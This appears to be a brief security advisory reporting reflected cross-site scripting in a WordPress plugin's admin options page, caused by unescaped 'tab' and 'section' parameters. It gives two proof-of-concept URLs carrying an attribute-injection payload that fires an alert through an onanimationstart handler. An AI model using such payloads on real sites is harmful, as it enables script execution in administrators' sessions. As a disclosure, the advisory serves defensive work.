The plugin does not escape the tab and section parameters before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting in the admin dashboard
https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page§ion=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+x%3D
https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&tab=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+x%3D